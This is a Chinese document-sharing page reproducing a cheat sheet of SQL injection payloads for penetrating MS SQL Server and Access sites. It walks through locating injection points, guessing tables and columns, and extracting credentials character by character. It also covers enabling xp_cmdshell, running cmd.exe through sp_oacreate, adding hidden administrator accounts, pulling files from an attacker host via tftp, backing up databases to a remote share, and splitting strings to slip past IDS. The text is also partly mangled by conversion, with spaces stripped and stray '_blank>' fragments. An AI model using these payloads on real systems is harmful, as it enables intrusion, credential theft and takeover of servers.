渗透常用SQL注入语句大全.docx

上传人:b****3 文档编号:26533938 上传时间:2023-06-20 格式:DOCX 页数:16 大小:21.98KB
下载 相关 举报
渗透常用SQL注入语句大全.docx_第1页
第1页 / 共16页
渗透常用SQL注入语句大全.docx_第2页
第2页 / 共16页
渗透常用SQL注入语句大全.docx_第3页
第3页 / 共16页
渗透常用SQL注入语句大全.docx_第4页
第4页 / 共16页
渗透常用SQL注入语句大全.docx_第5页
第5页 / 共16页
点击查看更多>>
下载资源
资源描述

渗透常用SQL注入语句大全.docx

《渗透常用SQL注入语句大全.docx》由会员分享,可在线阅读,更多相关《渗透常用SQL注入语句大全.docx(16页珍藏版)》请在冰豆网上搜索。

渗透常用SQL注入语句大全.docx

渗透常用SQL注入语句大全

1.判断有无注入点

;and1=1and1=2

2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..

and0<>(selectcount(*)from*)

and0<>(selectcount(*)fromadmin)—判断是否存在admin这张表

3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个

and0<(selectcount(*)fromadmin)

and1<(selectcount(*)fromadmin)

4.猜解字段名称在len()括号里面加上我们想到的字段名称.

 

?

1

2

3

and1=(selectcount(*)fromadminwherelen(*)>0)–

and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)

and1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)

5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止

 

?

1

2

3

4

5

6

7

8

and1=(selectcount(*)fromadminwherelen(*)>0)

and1=(selectcount(*)fromadminwherelen(name)>6)错误

and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6

and1=(selectcount(*)fromadminwherelen(name)=6)正确

 

and1=(selectcount(*)fromadminwherelen(password)>11)正确

and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12

and1=(selectcount(*)fromadminwherelen(password)=12)正确

6.猜解字符

and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位

and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

?

1

2

3

4

5

6

7

8

9

groupbyusers.idhaving1=1–

groupbyusers.id,users.username,users.password,users.privshaving1=1–

;insertintousersvalues(666,attacker,foobar,0xffff)–

 

UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTABLE_blank>_NAME=logintable-

UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTABLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-

UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTABLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)-

UNIONSelectTOP1login_blank>_nameFROMlogintable-

UNIONSelectTOP1passwordFROMlogintablewherelogin_blank>_name=Rahul–

看_blank>服务器打的补丁=出错了打了SP4补丁

and1=(select@@VERSION)–

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。

and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。

(采用SA账号连接返回正常=证明了连接账号是SA)

 

?

1

2

3

andsa=(SelectSystem_blank>_user)–

anduser_blank>_name()=dbo–

and0<>(selectuser_blank>_name()–

看xp_blank>_cmdshell是否删除

and1=(Selectcount(*)FROMmaster.dbo.sysobjectsWherextype=XANDname=xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复

;EXECmaster.dbo.sp_blank>_addextendedprocxp_blank>_cmdshell,xplog70.dll–

;EXECmaster.dbo.sp_blank>_addextendedprocxp_blank>_cmdshell,c:

\inetpub\wwwroot\xplog70.dll–

反向PING自己实验

;usemaster;declare@sint;execsp_blank>_oacreate“wscript.shell”,@sout;execsp_blank>_oamethod@s,”run”,NULL,”cmd.exe/cping192.168.0.1″;–

加帐号

;DECLARE@shellINTEXECSP_blank>_OACreatewscript.shell,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add–

创建一个虚拟目录E盘:

;declare@ointexecsp_blank>_oacreatewscript.shell,@ooutexecsp_blank>_oamethod@o,run,NULL,cscript.exec:

\inetpub\wwwroot\mkwebdir.vbs-w“默认Web站点”-v“e”,”e:

\”–

访问属性:

(配合写入一个webshell)

declare@ointexecsp_blank>_oacreatewscript.shell,@ooutexecsp_blank>_oamethod@o,run,NULL,cscript.exec:

\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse

爆库特殊_blank>技巧:

:

%5c=\或者把/和\修改%5提交

and0<>(selecttop1pathsfromnewtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)

and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)–

and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)

依次提交dbid=7,8,9….得到更多的_blank>数据库名

?

1

2

3

4

5

6

7

8

9

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)暴到一个表假设为admin

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Admin))来得到其他的表。

and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=admin

 

anduid>(str(id)))暴到UID的数值假设为18779569uid=id

and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_blank>_id

and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin

(id,…))来暴出其他的字段

and0<(selectuser_blank>_idfromBBS.dbo.adminwhereusername>1)可以得到用户名

依次可以得到_blank>密码。

假设存在user_blank>_idusername,password等字段

 

?

1

2

3

4

5

6

7

8

and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=U)得到表名

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype=Uandnamenotin(Address))

and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype=Uandname=adminanduid>(str(id)))判断id值

and0<>(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段

 

?

id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin

?

id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)

得到WEB路径

 

?

1

2

3

4

5

;createtable[dbo].[swap]([swappass][char](255));–

and(selecttop1swappassfromswap)=1–

;CreateTABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_blank>_regread@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_blank>_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)–

;useku1;–

;createtablecmd(strimage);–建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

;execmaster..xp_blank>_cmdshelldir

;execmaster.dbo.sp_blank>_addloginjiaoniang$;–加SQL帐号

;execmaster.dbo.sp_blank>_passwordnull,jiaoniang$,1866574;–

;execmaster.dbo.sp_blank>_addsrvrolememberjiaoniang$sysadmin;–

;execmaster.dbo.xp_blank>_cmdshellnetuserjiaoniang$1866574/workstations:

*/times:

all/passwordchg:

yes/passwordreq:

yes/active:

yes/add;–

;execmaster.dbo.xp_blank>_cmdshellnetlocalgroupadministratorsjiaoniang$/add;–

execmaster..xp_blank>_servicecontrolstart,schedule启动_blank>服务

execmaster..xp_blank>_servicecontrolstart,server

;DECLARE@shellINTEXECSP_blank>_OACreatewscript.shell,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add

;DECLARE@shellINTEXECSP_blank>_OACreatewscript.shell,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run,null,C:

\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add

;execmaster..xp_blank>_cmdshelltftp-iyouipgetfile.exe–利用TFTP上传文件

 

;declare@asysnameset@a=xp_blank>_+cmdshellexec@adirc:

\

;declare@asysnameset@a=xp+_blank>_cm’+’dshellexec@adirc:

\

;declare@a;set@a=db_blank>_name();backupdatabase@atodisk=你的IP你的共享目录bak.dat

如果被限制则可以。

select*fromopenrowset(_blank>sqloledb,server;sa;,selectOK!

execmaster.dbo.sp_blank>_addloginhax)

查询构造:

?

1

2

3

4

5

6

7

8

9

10

11

12

Select*FROMnewsWhereid=…ANDtopic=…AND…..

adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass<>

select123;–

;usemaster;–

:

aornamelikefff%;–显示有一个叫ffff的用户哈。

and1<>(selectcount(email)from[user]);–

;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;–

;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;–

;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;–

;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;–

;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;–

;update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;–

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID得到第二个表的名字

?

1

2

3

4

5

6

insertintousersvalues(666,char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),0xffff)–

insertintousersvalues(667,123,123,0xffff)–

insertintousersvalues(123,admin–,password,0xffff)–

;anduser>0

;and(selectcount(*)fromsysobjects)>0

;and(selectcount(*)frommysysobjects)>0//为access_blank>数据库

枚举出数据表名

;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);–

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上andname<>刚才得到的表名)。

;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0andname<>vote);–

然后id=1552andexists(select*fromaaawhereaaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;updateaaasetaaa=(selecttop1col_blank>_name(object_blank>_id(表名),1));–

然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名

;updateaaasetaaa=(selecttop1col_blank>_name(object_blank>_id(表名),2));–

然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名

 

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>你得到的表名查出一个加一个])[where条件]selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin(table1,table2,…)

通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update表名set字段=(selecttop1col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:

1)[where条件]

绕过IDS的检测[使用变量]

;declare@asysnameset@a=xp_blank>_+cmdshellexec@adirc:

\

;declare@asysnameset@a=xp+_blank>_cm’+’dshellexec@adirc:

\

1、开启远程_blank>数据库

基本语法

select*fromOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select*fromtable1)

参数:

(1)OLEDBProvidername

2、其中连接字符串参数可以是任何端口用来连接,比如

select*fromOPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select*from

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 人文社科 > 法律资料

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1